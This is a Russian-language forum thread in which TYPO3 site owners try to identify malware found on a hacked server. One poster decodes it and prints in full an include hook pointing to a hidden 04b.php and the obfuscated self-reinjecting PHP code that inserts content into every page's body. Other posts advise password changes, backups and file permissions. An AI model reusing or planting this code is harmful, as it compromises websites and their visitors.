Помогите что за вирус?

[semender]

Сообщение от Ивано

Не пойму, откуда Вы взяли function lambda($v)
И откуда create_function?

У меня получилось только
eval(gzinflate(base64_decode($v)));


Мурашки по коже...

Эт я просто написал, create_function — Создаёт анонимную (лямбда) функцию, чтоб легче подставить можно было для выполнения.Скопировал с кода, когда тэстил.

Каково значение переменной $v?
eval(gzinflate(base64_decode($v))); - что сюда передается?

[semender]

Сообщение от Ивано

Каково значение переменной $v?
eval(gzinflate(base64_decode($v))); - что сюда передается?

всё что в последней строке $b65('здесь');

Насколько понял - это связано с файловой системой и зашифровкой интеллектуальной собственности...

А расшифровать это дело можно так:
http://www.tareeinternet.com/scripts/decrypt.php
http://www.tareeinternet.com/forum/k...64_decode.html

--
--

[semender]

Сообщение от Ивано

Насколько понял - это связано с файловой системой и зашифровкой интеллектуальной собственности...

А расшифровать это дело можно так:
http://www.tareeinternet.com/scripts/decrypt.php
http://www.tareeinternet.com/forum/k...64_decode.html

--
--

Да действительно, теперь расшифровал один из файлов(просто тот уже удалить успел)

PHP код:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn'])){$GLOBALS['mfsn']='/home/palata/mrg/public_html/typo3/sysext/t3skin/icons/ext/user_photomarathon/photomarathon/04b.php';if(file_exists($GLOBALS['mfsn'])){include_once($GLOBALS['mfsn']);if(function_exists('gml')&&function_exists('dgobh')){ob_start('dgobh');}}} 


Он ссылается на файл 04b.php. В нем та же фигня,и в этой папке полно таких файлов.надеюсь и дальше теперь продвинемся.

вот расшифровал и 04b.php

PHP код:

/*ounelpejlrbklsrtwdjxjouyltothgpopdfmcdwfrzbpnjklrv*/ function FF97A1D7A5B771B21D423C3A9D78408C1($RC4A5B5E310ED4C323E04D72AFAE39F53){ global $_GET, $_POST; ignore_user_abort(true); $GLOBALS['dg_echo'] = 1; set_time_limit(600); if(!is_writable($GLOBALS['dgcp'].$GLOBALS['dgin'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}</b>"); return; } $RF89F518E40FF53B4FD2A7D2440090D63 = ''; $RDAD8D40EB9906CAB35CCB38DE41CB7EF = FFD456406745D816A45CAE554C788E754($RC4A5B5E310ED4C323E04D72AFAE39F53, 180, $RF89F518E40FF53B4FD2A7D2440090D63); F0B4D6FFC759ED013DCD398174DE471F8(); if(!FD768CE2E61B0A13220C1408BA2911626($RDAD8D40EB9906CAB35CCB38DE41CB7EF)){ F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">no php quotes</b> [e1]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("{$RC4A5B5E310ED4C323E04D72AFAE39F53}: ".strlen($RDAD8D40EB9906CAB35CCB38DE41CB7EF)); if(!FD37A89A1AF9ECAFCB257CADA0D7E94C3($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgcp\'] = "', '";', $GLOBALS['dgcp'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">failed to set path</b> [e2]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:green\">path set to {$GLOBALS['dgcp']}</b> [s1]"); if(!FD37A89A1AF9ECAFCB257CADA0D7E94C3($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgin\'] = "', '";', $GLOBALS['dgin'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">failed to set name</b> [e3]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:green\">name set to {$GLOBALS['dgin']}</b> [s2]"); if(!FD37A89A1AF9ECAFCB257CADA0D7E94C3($RDAD8D40EB9906CAB35CCB38DE41CB7EF, '$GLOBALS[\'dgsp\'] = "', '";', $GLOBALS['dgsp'])){ F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:red\">failed to set relative root dir</b> [e4]"); die; } F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style=\"color:green\">relative root dir successfully set {$GLOBALS['dgsp']}</b> [s3]"); $RCFFAE742FB4E724571041779A10EFDA9 = F873C7424258BCBB4AE958DCB051B6110($RDAD8D40EB9906CAB35CCB38DE41CB7EF, rand(5, 10), 1, 1); $RCFFAE742FB4E724571041779A10EFDA9 = F9248B5B41A3DDFDCDF5FCF3647F21442($RCFFAE742FB4E724571041779A10EFDA9, 1); FB9B6F2F343184DBE3D84656B8346EDC1($GLOBALS['dgcp'].$GLOBALS['dgin']."tmp", $RCFFAE742FB4E724571041779A10EFDA9, 1) ? F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#009000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}tmp</b>") : F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}tmp</b>"); $R9DB9E103E88D622316D42B508D6D11AB = implode("", file($GLOBALS['dgcp'].$GLOBALS['dgin']."tmp")); if(!strpos($R9DB9E103E88D622316D42B508D6D11AB, '?'.'>')){ F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>wf {$GLOBALS['dgcp']}{$GLOBALS['dgin']}tmp</b>"); return; } copy($GLOBALS['dgcp'].$GLOBALS['dgin']."tmp", $GLOBALS['dgcp'].$GLOBALS['dgin']) ? F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#009000'>{$GLOBALS['dgcp']}{$GLOBALS['dgin']}</b>") : F3B82ABE1785C7013E7CC0CA01EF61AA8("<b style='color:#a00000'>rf {$GLOBALS['dgcp']}{$GLOBALS['dgin']}</b>"); unlink($GLOBALS['dgcp'].$GLOBALS['dgin']."tmp"); if($GLOBALS['dgsp'] && !isset($_GET['noinj']) && !isset($_POST['noinj'])){ FBD8F1A7E6108CC853593E347434C7287(); if(count($GLOBALS['dg_wpi']) > 0){ F7641DA7BE8C09F5807EB8CA8DD8C0B9A($GLOBALS['dg_wpi'][0], 1, $GLOBALS['dgij']); F7A0DC6FCF5A00BB584F0024BBAC75D65($GLOBALS['dgsp'], 0, 0); }else{ F7A0DC6FCF5A00BB584F0024BBAC75D65($GLOBALS['dgsp'], 1, 0); } } F18C82E54B87D91FDCDBDBEF3DF051362(); } if(!function_exists('gzdecode')){ function gzdecode($R20FD65E9C7406034FADC682F06732868){ $R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1)); $R60169CD1C47B7A7A85AB44F884635E41=10; $R0D54236DA20594EC13FC81B209733931=0; if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){ $R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2)); $R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1]; $R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931; } if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){ $R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1; } if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){ $R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1; } if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){ $R60169CD1C47B7A7A85AB44F884635E41+=2; } $RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41)); if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){ $RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868; } return $RC4A5B5E310ED4C323E04D72AFAE39F53; } } if(!function_exists('dgobh')){ function dgobh($RDA3E61414E50AEE968132F03D265E0CF){ header('Content-Encoding: none'); $RDA3E61414E50AEE968132F03D265E0CF = gzdecode($RDA3E61414E50AEE968132F03D265E0CF); if($GLOBALS['dgopt']['lbp'] == 2 && preg_match('/\<\/body/si',$RDA3E61414E50AEE968132F03D265E0CF)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n$1",$RDA3E61414E50AEE968132F03D265E0CF); }elseif($GLOBALS['dgopt']['lbp'] == 0 && preg_match('/\<body/si',$RDA3E61414E50AEE968132F03D265E0CF)){ return preg_replace('/(\<body[^\>]*\>)/si', "$1".gml(),$RDA3E61414E50AEE968132F03D265E0CF); }else{ return gml().$RDA3E61414E50AEE968132F03D265E0CF; } }} 


У меня было тоже самое но с JS-как ранее писал.
Поменял пароль - и все ОК - уже пол года!

А вообще - резервное копирование после существенных изменений - самое лучшее лекарство...


--
Интересно будет узнать, к чему приведут поиски...

[ms9]

Стоят 777 на localconf.php